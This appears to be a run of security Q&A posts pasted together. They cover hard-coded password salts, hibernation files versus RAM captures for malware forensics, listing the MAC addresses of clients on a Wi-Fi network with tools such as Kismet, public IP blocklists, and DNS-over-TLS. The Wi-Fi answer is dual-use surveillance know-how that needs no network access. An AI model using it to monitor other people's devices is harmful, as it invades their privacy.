For example, what would happen if the salt for the hashes is hard-coded into your web application and an attacker exploits a vulnerability to extract the bcrypt password hashes? If the attacker can determine the salt from the client, then the attacker can start cracking the password hashes with less effort.

Some good resources on why you shouldn't roll your own crypto can be found here and here.


Is there any difference between hiberfile.sys file and RAM dump made with 3rd party software for Volatility.py? I was wondering how could I give some advice to one of my friend when attempting to analyze live Windows machine which was infected with malware.

As far as I know, hibernation saves RAM memory contents and compresses them into hiberfile.sys file.
But also there are 3rd party tools like Belkasoft RAM Capturer which read whole RAM and save to file too.

The question is: is there any big difference between those 2 memory dumps? Which one is more "detailed" or "better and more juicy" in terms of forensics?

When entering hibernation:

Apps and services are notified
Drivers are notified
User and system state is saved to disk in a compressed format
Firmware is notified

(Per Microsoft's documenation on system power states.)

If an application or rootkit is so designed, it could attempt to hide or clean itself in response to the power state change. There is a timeout period after steps 1 and 2 to allow applications and drivers to prepare for suspension/termination.

This notification is both intentional and necessary: applications/services may span across multiple systems, and drivers must plan for data stored on volatile device memory to be lost. A similar notification occurs prior to system shutdown, albeit with a different status code.

A forensics-oriented tool may avoid "tipping off" the malware in some cases. It is also possible that malware from nation-state actors may detect common forensic tools.

I would expect that moderately sophisticated diskless malware will respond to power state changes, but it may not be capable of detecting forensics tools. So overall, I would expect to see an occasional benefit from using it. I cannot personally speak to the completeness or reliability of that particular tool, however.


how can I know MAC ADRESSES connected to a given AP [windows]? I think that the question is clear.
I want to know the mac adresses of people connected to a certain wireless network.                       Thank you!

Neither method requires WEP nor WPA authorized access to the network, just proximity.

In Windows I use Nirsoft WiFi Channel Monitor to expose the MAC's on a particular AP. It's a single file/no installation truly portable app.
http://www.nirsoft.net/utils/wifi_channel_monitor.html

It requires MS Netmon drivers but they're free and ready to use without a reboot:
https://blogs.technet.microsoft.com/netmon/p/downloads/

Kismet inside most LIVE Linux Distributions and always inside Kali gives an even broader view. From its pull down menus, select Clients view or just split the screen and scroll through the listed AP's to display connected systems and their MAC's.
https://tools.kali.org/wireless-attacks/kismet


public databases of IP addresses which are involved in illegal/gray-area activities I just received a /24 IPv4 network from my ISP. This very same /24 network was previously used by some hosting provider and if I made a quick scan of those 256 IPv4 addresses agains some DNSBL databases, then many of the addresses were listed there. This made me wonder are there other such public databases for different threads than spam? For example maybe some CERTs or other organisations have such (public) databases where they list IP addresses involved in botnets or hosting (regularly) web-servers which serve malware.

The MXToolbox blacklist checker is a good place to start.

You can follow that up by reading some of the lists hosted at iblocklist.com particularly including the dshield list, and then some of the others.

Perhaps also look at the sources of "bad IP lists" in the Emerging Threats and Snort IDS/IPS rulesets.


Establishinig TLS session with HTTP server after DNS-over-TLS I just learned about DNS-over-TLS from IETF. I need clarification in some points to get the whole picture.

Assume there is a client want to connect to a TLS server and use DNS-over-TLS as well. The client will establish a TLS session with the DNS server to get the IP of the domain name.

What is not clear to me is what is next? does the client close this DNS TLS session and open a new TLS session with the HTTP server (e.g. web server like google.com). Or does it use the DNS TLS session to connect to HTTP server?

Can you clarify this point to me with references if possible?

DNS over TLS is just a replacement for DNS over UDP. It is just to get the IP address of the final target. In other words: there is one TLS connection with the DNS server to get the IP address of the hostname from the URL and then there is another TLS connection to the IP address of the hostname - which is very likely different to the IP address of the DNS server. If the first TLS connection (to the DNS server) is kept open for further DNS requests does not matter in the context of your question but should be done for efficiency.